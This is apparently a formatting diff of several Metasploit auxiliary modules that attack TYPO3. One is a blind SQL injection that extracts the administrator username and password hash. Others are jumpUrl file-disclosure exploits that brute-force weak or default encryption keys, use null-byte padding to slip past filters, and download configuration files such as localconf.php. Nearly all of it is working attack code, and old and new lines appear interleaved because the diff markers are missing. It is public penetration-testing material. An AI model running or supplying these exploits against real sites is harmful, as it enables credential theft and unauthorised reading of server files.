print_status("Attempting to connect to #{rhost}:#{rport}")
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/dsc/',
}, 25)
'method' => 'GET',
'uri' => '/dsc/'
}, 25
)
if (res)
if res
extract_words(datastore['SENSITIVE_FILES']).each do |files|
find_files(files) unless files.empty?
end
end
if not @files_found.empty?
print_good("File(s) found:")
if !@files_found.empty?
print_good('File(s) found:')
@files_found.each do |f|
print_good(f)
end
else
print_good("No File(s) found")
print_good('No File(s) found')
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end

View File

@ -8,39 +8,41 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'TYPO3 News Module SQL Injection',
'Description' => %q{
This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php
in the news module 5.3.2 and earlier. It allows an unauthenticated user to execute arbitrary
SQL commands via vectors involving overwriteDemand and OrderByAllowed. The SQL injection
can be used to obtain password hashes for application user accounts. This module has been
tested on TYPO3 3.16.0 running news extension 5.0.0.
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TYPO3 News Module SQL Injection',
'Description' => %q{
This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php
in the news module 5.3.2 and earlier. It allows an unauthenticated user to execute arbitrary
SQL commands via vectors involving overwriteDemand and OrderByAllowed. The SQL injection
can be used to obtain password hashes for application user accounts. This module has been
tested on TYPO3 3.16.0 running news extension 5.0.0.
This module tries to extract username and password hash of the administrator user.
It tries to inject sql and check every letter of a pattern, to see
if it belongs to the username or password it tries to alter the ordering of results. If
the letter doesn't belong to the word being extracted then all results are inverted
(News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs
to the word being extracted then the results are in proper order (News #1 appears before News #2,
so Pattern1 before Pattern2)
},
'License' => MSF_LICENSE,
'Author' =>
[
This module tries to extract username and password hash of the administrator user.
It tries to inject sql and check every letter of a pattern, to see
if it belongs to the username or password it tries to alter the ordering of results. If
the letter doesn't belong to the word being extracted then all results are inverted
(News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs
to the word being extracted then the results are in proper order (News #1 appears before News #2,
so Pattern1 before Pattern2)
},
'License' => MSF_LICENSE,
'Author' => [
'Marco Rivoli', # MSF code
'Charles Fol' # initial discovery, POC
'Charles Fol' # initial discovery, POC
],
'References' =>
[
'References' => [
['CVE', '2017-7581'],
['URL', 'http://www.ambionics.io/blog/typo3-news-module-sqli'] # Advisory
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DisclosureDate' => '2017-04-06'))
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DisclosureDate' => '2017-04-06'
)
)
register_options(
[
@ -48,33 +50,34 @@ class MetasploitModule < Msf::Auxiliary
OptString.new('ID', [true, 'The id of TYPO3 news page', '1']),
OptString.new('PATTERN1', [false, 'Pattern of the first article title', 'Article #1']),
OptString.new('PATTERN2', [false, 'Pattern of the second article title', 'Article #2'])
])
]
)
end
def dump_the_hash(patterns = {})
ascii_charset_lower = "a".upto("z").to_a.join('')
ascii_charset_upper = "A".upto("Z").to_a.join('')
ascii_charset_lower = 'a'.upto('z').to_a.join('')
ascii_charset_upper = 'A'.upto('Z').to_a.join('')
ascii_charset = "#{ascii_charset_lower}#{ascii_charset_upper}"
digit_charset = "0".upto("9").to_a.join('')
digit_charset = '0'.upto('9').to_a.join('')
full_charset = "#{ascii_charset}#{digit_charset}$./"
username = blind('username','be_users', 'uid=1', ascii_charset, digit_charset, patterns)
username = blind('username', 'be_users', 'uid=1', ascii_charset, digit_charset, patterns)
print_good("Username: #{username}")
password = blind('password','be_users', 'uid=1', full_charset, digit_charset, patterns)
password = blind('password', 'be_users', 'uid=1', full_charset, digit_charset, patterns)
print_good("Password Hash: #{password}")
connection_details = {
module_fullname: self.fullname,
username: username,
private_data: password,
private_type: :nonreplayable_hash,
workspace_id: myworkspace_id
}.merge!(service_details)
module_fullname: fullname,
username: username,
private_data: password,
private_type: :nonreplayable_hash,
workspace_id: myworkspace_id
}.merge!(service_details)
credential_core = create_credential(connection_details)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}.merge(service_details)
create_credential_login(login_data)
end
@ -106,7 +109,7 @@ class MetasploitModule < Msf::Auxiliary
payload3
end
def blind_size(field, table, condition, size, charset, patterns = {})
def blind_size(field, table, condition, size, charset, patterns = {})
str = ''
for position in 0..size
for char in charset.split('')
@ -123,8 +126,8 @@ class MetasploitModule < Msf::Auxiliary
def test(payload, patterns = {})
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'index.php'),
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'id' => datastore['ID'],
'no_cache' => '1'
@ -140,20 +143,19 @@ class MetasploitModule < Msf::Auxiliary
rescue Rex::ConnectionError, Errno::CONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
unless res.body.index(patterns[:pattern1]).nil? || res.body.index(patterns[:pattern2]).nil?
return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2])
end
if res && res.code == 200 && !(res.body.index(patterns[:pattern1]).nil? || res.body.index(patterns[:pattern2]).nil?)
return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2])
end
false
end
def try_autodetect_patterns
print_status("Trying to automatically determine Pattern1 and Pattern2...")
print_status('Trying to automatically determine Pattern1 and Pattern2...')
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'index.php'),
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'id' => datastore['ID'],
'no_cache' => '1'
@ -183,9 +185,9 @@ class MetasploitModule < Msf::Auxiliary
def run
pattern1, pattern2 = try_autodetect_patterns
if pattern1 == '' || pattern2 == ''
print_error("Unable to determine pattern, aborting...")
print_error('Unable to determine pattern, aborting...')
else
dump_the_hash(:pattern1 => pattern1, :pattern2 => pattern2)
dump_the_hash(pattern1: pattern1, pattern2: pattern2)
end
end
end

View File

@ -9,40 +9,39 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'TYPO3 sa-2009-001 Weak Encryption Key File Disclosure',
'Description' => %q{
'Name' => 'TYPO3 sa-2009-001 Weak Encryption Key File Disclosure',
'Description' => %q{
This module exploits a flaw in TYPO3 encryption ey creation process to allow for
file disclosure in the jumpUrl mechanism. This flaw can be used to read any file
that the web server user account has access to view.
},
'References' =>
[
['CVE', '2009-0255'],
['OSVDB', '51536'],
['URL', 'http://blog.c22.cc/advisories/typo3-sa-2009-001'],
['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-001/'],
],
'References' => [
['CVE', '2009-0255'],
['OSVDB', '51536'],
['URL', 'http://blog.c22.cc/advisories/typo3-sa-2009-001'],
['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-001/'],
],
'DisclosureDate' => 'Jan 20 2009',
'Author' => [ 'Chris John Riley' ],
'License' => MSF_LICENSE
'Author' => [ 'Chris John Riley' ],
'License' => MSF_LICENSE
)
register_options(
[
OptString.new('URI', [true, "TYPO3 Path", "/"]),
OptString.new('RFILE', [true, "The remote file to download", 'typo3conf/localconf.php']),
OptString.new('ENC_KEY', [false, "Encryption key if known", '']),
])
OptString.new('URI', [true, 'TYPO3 Path', '/']),
OptString.new('RFILE', [true, 'The remote file to download', 'typo3conf/localconf.php']),
OptString.new('ENC_KEY', [false, 'Encryption key if known', '']),
]
)
end
def enc_key(seed)
if datastore['ENC_KEY'] != ''
final = datastore['ENC_KEY']
print_status("Using provided Encryption Key")
print_status('Using provided Encryption Key')
else
# build the encrption key to check
seed = seed.to_s()
seed = seed.to_s
rnd1 = Digest::MD5.hexdigest(seed)
rnd2 = Digest::MD5.hexdigest(rnd1)
rnd3 = Digest::MD5.hexdigest(rnd1 + rnd2)
@ -53,98 +52,95 @@ class MetasploitModule < Msf::Auxiliary
end
def run
# Add padding to bypass TYPO3 security filters
#
# Null byte fixed in PHP 5.3.4
#
# Add padding to bypass TYPO3 security filters
#
# Null byte fixed in PHP 5.3.4
#
uri = normalize_uri(datastore['URI'])
case datastore['RFILE']
when nil
# Nothing
when /localconf\.php$/i
jumpurl = "#{datastore['RFILE']}%00/."
jumpurl_len = (jumpurl.length) -2 #Account for difference in length with null byte
jumpurl_enc = jumpurl.sub("%00", "\00") #Replace %00 with \00 to correct null byte format
print_status("Adding padding to end of #{datastore['RFILE']} to avoid TYPO3 security filters")
when /^\.\.(\/|\\)/i
print_error("Directory traversal detected... you might want to start that with a /.. or \\..")
else
jumpurl_len = (datastore['RFILE'].length)
jumpurl = "#{datastore['RFILE']}"
jumpurl_enc = "#{datastore['RFILE']}"
end
print_status("Establishing a connection to #{rhost}:#{rport}")
print_status("Trying to retrieve #{datastore['RFILE']}")
print_status("Rotating through possible weak encryption keys")
for i in (0..1000)
final = enc_key(i)
locationData = Rex::Text::rand_text_numeric(1) +'::'+ Rex::Text::rand_text_numeric(2)
juarray = "a:3:{i:0;s:#{jumpurl_len.to_s()}:\"#{jumpurl_enc}\""
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\""
juarray << ";i:2;s:#{final.length}:\"#{final}\";}"
juhash = Digest::MD5.hexdigest(juarray)
juhash = juhash[0..9] # shortMD5 value for use as juhash
uri_base_path = normalize_uri(uri, '/index.php')
file_uri = "#{uri_base_path}?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
vprint_status("Checking Encryption Key [#{i}/1000]: #{final}")
begin
file = send_request_raw({
'uri' => file_uri,
'method' => 'GET',
'headers' =>
{
'Connection' => 'Close',
}
},25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE => e
print_error(e.message)
case datastore['RFILE']
when nil
# Nothing
when /localconf\.php$/i
jumpurl = "#{datastore['RFILE']}%00/."
jumpurl_len = jumpurl.length - 2 # Account for difference in length with null byte
jumpurl_enc = jumpurl.sub('%00', "\00") # Replace %00 with \00 to correct null byte format
print_status("Adding padding to end of #{datastore['RFILE']} to avoid TYPO3 security filters")
when %r{^\.\.(/|\\)}i
print_error('Directory traversal detected... you might want to start that with a /.. or \\..')
else
jumpurl_len = datastore['RFILE'].length
jumpurl = datastore['RFILE'].to_s
jumpurl_enc = datastore['RFILE'].to_s
end
case file.headers['Content-Type']
when 'text/html'
case file.body
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
print_error("File #{datastore['RFILE']} does not exist.")
print_good("Discovered encryption key : #{final}")
return
when 'jumpurl Secure: locationData, ' + locationData + ', was not accessible.'
print_error("File #{datastore['RFILE']} is not accessible.")
print_good("Discovered encryption key : #{final}")
return
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
print_good("Discovered encryption key : #{final}")
return
print_status("Establishing a connection to #{rhost}:#{rport}")
print_status("Trying to retrieve #{datastore['RFILE']}")
print_status('Rotating through possible weak encryption keys')
for i in (0..1000)
final = enc_key(i)
locationData = Rex::Text.rand_text_numeric(1) + '::' + Rex::Text.rand_text_numeric(2)
juarray = "a:3:{i:0;s:#{jumpurl_len}:\"#{jumpurl_enc}\""
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\""
juarray << ";i:2;s:#{final.length}:\"#{final}\";}"
juhash = Digest::MD5.hexdigest(juarray)
juhash = juhash[0..9] # shortMD5 value for use as juhash
uri_base_path = normalize_uri(uri, '/index.php')
file_uri = "#{uri_base_path}?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
vprint_status("Checking Encryption Key [#{i}/1000]: #{final}")
begin
file = send_request_raw({
'uri' => file_uri,
'method' => 'GET',
'headers' =>
{
'Connection' => 'Close'
}
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE => e
print_error(e.message)
end
when 'application/octet-stream'
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
print_good("Discovered encryption key : #{final}")
print_good("Writing local file " + File.basename(datastore['RFILE'].downcase) + " to loot")
store_loot("typo3_" + File.basename(datastore['RFILE'].downcase), "text/xml", addr, file.body, "typo3_" + File.basename(datastore['RFILE'].downcase), "Typo3_sa_2009_001")
return
else
if datastore['ENC_KEY'] != ''
print_error("Encryption Key specified is not correct")
case file.headers['Content-Type']
when 'text/html'
case file.body
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
print_error("File #{datastore['RFILE']} does not exist.")
print_good("Discovered encryption key : #{final}")
return
when 'jumpurl Secure: locationData, ' + locationData + ', was not accessible.'
print_error("File #{datastore['RFILE']} is not accessible.")
print_good("Discovered encryption key : #{final}")
return
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
print_good("Discovered encryption key : #{final}")
return
end
when 'application/octet-stream'
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
print_good("Discovered encryption key : #{final}")
print_good('Writing local file ' + File.basename(datastore['RFILE'].downcase) + ' to loot')
store_loot('typo3_' + File.basename(datastore['RFILE'].downcase), 'text/xml', addr, file.body, 'typo3_' + File.basename(datastore['RFILE'].downcase), 'Typo3_sa_2009_001')
return
else
# Try next encryption key
if datastore['ENC_KEY'] != ''
print_error('Encryption Key specified is not correct')
return
else
# Try next encryption key
end
end
end
end
print_error("#{rhost}:#{rport} [Typo3-SA-2009-001] Failed to retrieve file #{datastore['RFILE']}")
end
end

View File

@ -7,97 +7,96 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Typo3 sa-2009-002 File Disclosure',
'Description' => %q{
This module exploits a file disclosure vulnerability in the jumpUrl mechanism of
Typo3. This flaw can be used to read any file that the web server user account has
access to.
},
'Author' => [ 'spinbad <spinbad.security[at]googlemail.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
super(
update_info(
info,
'Name' => 'Typo3 sa-2009-002 File Disclosure',
'Description' => %q{
This module exploits a file disclosure vulnerability in the jumpUrl mechanism of
Typo3. This flaw can be used to read any file that the web server user account has
access to.
},
'Author' => [ 'spinbad <spinbad.security[at]googlemail.com>' ],
'License' => MSF_LICENSE,
'References' => [
['OSVDB', '52048'],
['CVE', '2009-0815'],
['URL', 'http://secunia.com/advisories/33829/'],
['EDB', '8038'],
['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-002/'],
],
'DisclosureDate' => '2009-02-10',
'Actions' =>
[
['Download', 'Description' => 'Download arbitrary file']
'DisclosureDate' => '2009-02-10',
'Actions' => [
['Download', { 'Description' => 'Download arbitrary file' }]
],
'DefaultAction' => 'Download'
))
'DefaultAction' => 'Download'
)
)
register_options(
[
OptString.new('URI', [true, "Typo3 Path", "/"]),
OptString.new('RFILE', [true, "The remote file to download", 'typo3conf/localconf.php']),
OptString.new('LFILE',[true, "The local filename to store the data", "localconf.php"]),
])
OptString.new('URI', [true, 'Typo3 Path', '/']),
OptString.new('RFILE', [true, 'The remote file to download', 'typo3conf/localconf.php']),
OptString.new('LFILE', [true, 'The local filename to store the data', 'localconf.php']),
]
)
end
def run
print_status("Establishing a connection to the target...")
print_status('Establishing a connection to the target...')
error_uri = datastore['URI'] + "/index.php?jumpurl=" +datastore['RFILE'] +"&juSecure=1&type=0&locationData=1:"
error_uri = datastore['URI'] + '/index.php?jumpurl=' + datastore['RFILE'] + '&juSecure=1&type=0&locationData=1:'
ju_hash = nil
res = send_request_raw({
'uri' => error_uri,
'method' => 'GET',
'uri' => error_uri,
'method' => 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
'Connection' => 'Close'
}
}, 25)
if (res and res.message == "OK")
if (res && (res.message == 'OK'))
res.body =~ /jumpurl Secure: Calculated juHash, ((\w)+), did not match the submitted juHash./
if $1.nil?
print_error("Error while getting juHash. Maybe the version is already patched...")
if ::Regexp.last_match(1).nil?
print_error('Error while getting juHash. Maybe the version is already patched...')
return
end
ju_hash = $1
ju_hash = ::Regexp.last_match(1)
print_status("Getting juHash from error message: #{ju_hash}")
else
print_error("No response from the server.")
print_error('No response from the server.')
return
end
file_uri = datastore['URI'] + "/index.php?jumpurl=" +datastore['RFILE'] +"&juSecure=1&type=0&juHash=#{ju_hash}&locationData=1:"
file_uri = datastore['URI'] + '/index.php?jumpurl=' + datastore['RFILE'] + "&juSecure=1&type=0&juHash=#{ju_hash}&locationData=1:"
print_status("Trying to get #{datastore['RFILE']}.")
file = send_request_raw({
'uri' => file_uri,
'method' => 'GET',
'uri' => file_uri,
'method' => 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
'Connection' => 'Close'
}
},25)
}, 25)
if (file and file.message = "OK")
if (file && ((file.message = 'OK')))
if file.body == 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
print_error("File #{datastore['RFILE']} does not exist.")
return
end
print_status("Writing local file #{datastore['LFILE']}.")
open(datastore['LFILE'],'w') {|f| f << file.body }
open(datastore['LFILE'], 'w') { |f| f << file.body }
else
print_error("Error while getting file.")
print_error('Error while getting file.')
end
end
end

View File

@ -3,139 +3,130 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'thread'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'TYPO3 sa-2010-020 Remote File Disclosure',
'Description' => %q{
'Name' => 'TYPO3 sa-2010-020 Remote File Disclosure',
'Description' => %q{
This module exploits a flaw in the way the TYPO3 jumpurl feature matches hashes.
Due to this flaw a Remote File Disclosure is possible by matching the juhash of 0.
This flaw can be used to read any file that the web server user account has access to view.
},
'References' =>
[
['CVE', '2010-3714'],
['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020'],
['URL', 'http://gregorkopf.de/slides_berlinsides_2010.pdf'],
],
'Author' =>
[
'Chris John Riley',
'Gregor Kopf', # Original Discovery
],
'License' => MSF_LICENSE
'References' => [
['CVE', '2010-3714'],
['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020'],
['URL', 'http://gregorkopf.de/slides_berlinsides_2010.pdf'],
],
'Author' => [
'Chris John Riley',
'Gregor Kopf', # Original Discovery
],
'License' => MSF_LICENSE
)
register_options(
[
OptString.new('URI', [true, "TYPO3 Path", "/"]),
OptString.new('RFILE', [true, "The remote file to download", 'typo3conf/localconf.php']),
OptInt.new('MAX_TRIES', [true, "Maximum tries", 10000]),
])
OptString.new('URI', [true, 'TYPO3 Path', '/']),
OptString.new('RFILE', [true, 'The remote file to download', 'typo3conf/localconf.php']),
OptInt.new('MAX_TRIES', [true, 'Maximum tries', 10000]),
]
)
end
def run
# Add padding to bypass TYPO3 security filters
#
# Null byte fixed in PHP 5.3.4
#
# Add padding to bypass TYPO3 security filters
#
# Null byte fixed in PHP 5.3.4
#
case datastore['RFILE']
when nil
# Nothing
when /localconf\.php$/i
jumpurl = "#{datastore['RFILE']}%00/."
when /^\.\.(\/|\\)/i
print_error("Directory traversal detected... you might want to start that with a /.. or \\..")
else
jumpurl = "#{datastore['RFILE']}"
end
print_status("Establishing a connection to #{rhost}:#{rport}")
print_status("Trying to retrieve #{datastore['RFILE']}")
location_base = Rex::Text::rand_text_numeric(1)
counter = 0
queue = []
print_status("Creating request queue")
1.upto(datastore['MAX_TRIES']) do
counter = counter +1
locationData = "#{location_base}::#{counter}"
queue << "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=0"
if ((counter.to_f/datastore['MAX_TRIES'].to_f)*100.0).to_s =~ /(25|50|75|100).0$/ # Display percentage complete every 25%
percentage = (counter.to_f/datastore['MAX_TRIES'].to_f)*100
print_status("Queue #{percentage.to_i}% compiled - [#{counter} / #{datastore['MAX_TRIES']}]")
case datastore['RFILE']
when nil
# Nothing
when /localconf\.php$/i
jumpurl = "#{datastore['RFILE']}%00/."
when %r{^\.\.(/|\\)}i
print_error('Directory traversal detected... you might want to start that with a /.. or \\..')
else
jumpurl = datastore['RFILE'].to_s
end
end
print_status("Establishing a connection to #{rhost}:#{rport}")
print_status("Trying to retrieve #{datastore['RFILE']}")
print_status("Queue compiled. Beginning requests... grab a coffee!")
location_base = Rex::Text.rand_text_numeric(1)
counter = 0
counter = 0
queue.each do |check|
counter = counter +1
check = check.sub("//", "/") # Prevent double // from appearing in uri
begin
queue = []
print_status('Creating request queue')
file = send_request_raw({
'uri' => check,
'method' => 'GET',
'headers' =>
{
'Connection' => 'Close',
}
},25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
return
rescue ::Timeout::Error, ::Errno::EPIPE => e
print_error(e.message)
return
1.upto(datastore['MAX_TRIES']) do
counter += 1
locationData = "#{location_base}::#{counter}"
queue << "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=0"
if ((counter.to_f / datastore['MAX_TRIES'].to_f) * 100.0).to_s =~ /(25|50|75|100).0$/ # Display percentage complete every 25%
percentage = (counter.to_f / datastore['MAX_TRIES'].to_f) * 100
print_status("Queue #{percentage.to_i}% compiled - [#{counter} / #{datastore['MAX_TRIES']}]")
end
end
if file.nil?
print_error("Connection timed out")
return
end
print_status('Queue compiled. Beginning requests... grab a coffee!')
if ((counter.to_f/queue.length.to_f)*100.0).to_s =~ /\d0.0$/ # Display percentage complete every 10%
percentage = (counter.to_f/queue.length.to_f)*100.0
print_status("Requests #{percentage.to_i}% complete - [#{counter} / #{queue.length}]")
end
# file can be nil
case file.headers['Content-Type']
when 'text/html'
case file.body
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
print_error("File #{datastore['RFILE']} does not exist.")
counter = 0
queue.each do |check|
counter += 1
check = check.sub('//', '/') # Prevent double // from appearing in uri
begin
file = send_request_raw({
'uri' => check,
'method' => 'GET',
'headers' =>
{
'Connection' => 'Close'
}
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
return
when /jumpurl Secure: locationData/i
print_error("File #{datastore['RFILE']} is not accessible.")
return
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
rescue ::Timeout::Error, ::Errno::EPIPE => e
print_error(e.message)
return
end
if file.nil?
print_error('Connection timed out')
return
end
if ((counter.to_f / queue.length.to_f) * 100.0).to_s =~ /\d0.0$/ # Display percentage complete every 10%
percentage = (counter.to_f / queue.length.to_f) * 100.0
print_status("Requests #{percentage.to_i}% complete - [#{counter} / #{queue.length}]")
end
# file can be nil
case file.headers['Content-Type']
when 'text/html'
case file.body
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
print_error("File #{datastore['RFILE']} does not exist.")
return
when /jumpurl Secure: locationData/i
print_error("File #{datastore['RFILE']} is not accessible.")
return
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
return
end
when 'application/octet-stream'
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
print_good('Found matching hash')
print_good('Writing local file ' + File.basename(datastore['RFILE'].downcase) + ' to loot')
store_loot('typo3_' + File.basename(datastore['RFILE'].downcase), 'text/xml', addr, file.body, 'typo3_' + File.basename(datastore['RFILE'].downcase), 'Typo3_sa_2010_020')
return
end
when 'application/octet-stream'
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
print_good("Found matching hash")
print_good("Writing local file " + File.basename(datastore['RFILE'].downcase) + " to loot")
store_loot("typo3_" + File.basename(datastore['RFILE'].downcase), "text/xml", addr, file.body, "typo3_" + File.basename(datastore['RFILE'].downcase), "Typo3_sa_2010_020")
return
end
end
print_error("#{rhost}:#{rport} [Typo3-SA-2010-020] Failed to retrieve file #{datastore['RFILE']}")
print_error("#{rhost}:#{rport} [Typo3-SA-2010-020] Failed to retrieve file #{datastore['RFILE']}")
end
end

View File

@ -9,8 +9,8 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'TYPO3 Winstaller Default Encryption Keys',
'Description' => %q{
'Name' => 'TYPO3 Winstaller Default Encryption Keys',
'Description' => %q{
This module exploits known default encryption keys found in the TYPO3 Winstaller.
This flaw allows for file disclosure in the jumpUrl mechanism. This issue can be
used to read any file that the web server user account has access to view.
@ -19,182 +19,179 @@ class MetasploitModule < Msf::Auxiliary
of Typo3. Use the show actions command to display and select the version of TYPO3 in
use (defaults to the older method of juhash creation).
},
'References' =>
'References' => [
['URL', 'http://typo3winstaller.sourceforge.net/'],
],
'Author' => [ 'Chris John Riley' ],
'License' => MSF_LICENSE,
'Actions' => [
[
['URL', 'http://typo3winstaller.sourceforge.net/'],
'Short_MD5',
{
'Description' => 'TYPO3 4.1.13 (or earlier), 4.2.12 (or earlier), 4.3.3 (or earlier), or 4.4.0'
}
],
'Author' => [ 'Chris John Riley' ],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Short_MD5',
{
'Description' => 'TYPO3 4.1.13 (or earlier), 4.2.12 (or earlier), 4.3.3 (or earlier), or 4.4.0'
}
],
[ 'MIME',
{
'Description' => 'TYPO3 4.1.14 (or later), 4.2.13 - 4.2.14, 4.3.4 - 4.3.6, or 4.4.1 - 4.4.3'
}
],
[ 'HMAC_SHA1',
{
'Description' => 'TYPO3 4.2.15 (or later), 4.3.7 (or later), 4.4.4 (or later), 4.5.0 (or later)'
}
]
'MIME',
{
'Description' => 'TYPO3 4.1.14 (or later), 4.2.13 - 4.2.14, 4.3.4 - 4.3.6, or 4.4.1 - 4.4.3'
}
],
'DefaultAction' => 'Short_MD5'
[
'HMAC_SHA1',
{
'Description' => 'TYPO3 4.2.15 (or later), 4.3.7 (or later), 4.4.4 (or later), 4.5.0 (or later)'
}
]
],
'DefaultAction' => 'Short_MD5'
)
register_options(
[
Opt::RPORT(8503),
OptString.new('URI', [true, "TYPO3 Path", "/"]),
OptString.new('RFILE', [true, "The remote file to download", 'typo3conf/localconf.php']),
OptString.new('ENC_KEY', [false, "Encryption key if known", '']),
])
OptString.new('URI', [true, 'TYPO3 Path', '/']),
OptString.new('RFILE', [true, 'The remote file to download', 'typo3conf/localconf.php']),
OptString.new('ENC_KEY', [false, 'Encryption key if known', '']),
]
)
end
def run
# Add padding to bypass TYPO3 security filters
#
# Null byte fixed in PHP 5.3.4
#
# Add padding to bypass TYPO3 security filters
#
# Null byte fixed in PHP 5.3.4
#
case datastore['RFILE']
when nil
# Nothing
when /localconf\.php$/i
jumpurl = "#{datastore['RFILE']}%00/."
jumpurl_len = (jumpurl.length) -2 #Account for difference in length with null byte
jumpurl_enc = jumpurl.sub("%00", "\00") #Replace %00 with \00 to correct null byte format
print_status("Adding padding to end of #{datastore['RFILE']} to avoid TYPO3 security filters")
when /^\.\.(\/|\\)/i
print_error("Directory traversal detected... you might want to start that with a /.. or \\..")
else
jumpurl_len = (datastore['RFILE'].length)
jumpurl = "#{datastore['RFILE']}"
jumpurl_enc = "#{datastore['RFILE']}"
end
case action.name
when 'Short_MD5'
print_status("Performing downloading using Short_MD5 style juHash creation - see show actions for more details")
when 'MIME'
print_status("Performing downloading using MIME style juHash creation - see show actions for more details")
when 'HMAC_SHA1'
print_status("Performing downloading using HMAC_SHA1 style juHash creation - see show actions for more details")
end
print_status("Establishing a connection to #{rhost}:#{rport}")
print_status("Trying to retrieve #{datastore['RFILE']}")
if datastore['ENC_KEY'] != ''
encryption_keys = [datastore['ENC_KEY']]
print_status("Using provided Encryption Key")
else
print_status("Rotating through known encryption keys")
encryption_keys = [
# TYPO3 4.3.x - 4.4.x
'd696ab49a803d7816021cb1768a6917d',
'47d1e990583c9c67424d369f3414728e6793d9dc2ae3429d488a7374bc85d2a0b19b62de67d46a6079a75f10934288d3',
'7b13b2203029ed80337f27127a9f1d28c2597f4c08c9a07b782b674731ecf5328c4d900851957899acdc6d4f911bf8b7',
# TYPO3 4.4.7+
'fbbdebd9091d914b3cd523485afe7b03e6006ade4125e4cf4c46195b3cecbb9ae0fe0f7b5a9e72ea2ac5f17b66f5abc7',
# TYPO3 4.5.0
'def76f1d8139304b7edea83b5f40201088ba70b20feabd8b2a647c4e71774b7b0e4086e4039abaf5d4f6a521f922e8a2',
'bac0112e14971f00431639342415ff22c3c3bf270f94175b8741c0fa95df244afb61e483c2facf63cffc320ed61f2731',
# TYPO3 4.5.2
'14b1225e2c277d55f54d18665791f114f4244f381113094e2a19dfb680335d842e10460995eb653d105a562a5415d9c7',
# TYPO3 4.5.3
'5d4eede80d5cec8df159fd869ec6d4041cd2fc0136896458735f8081d4df5c22bbb0665ddac56056023e01fbd4ab5283',
# TYPO3 4.5.4 - 4.5.7
'b2aae63def4c512ce8f4386e57b8a48b40312de30775535cbff60a6eab356809a0b596edaad49c725d9963d93aa2ffae',
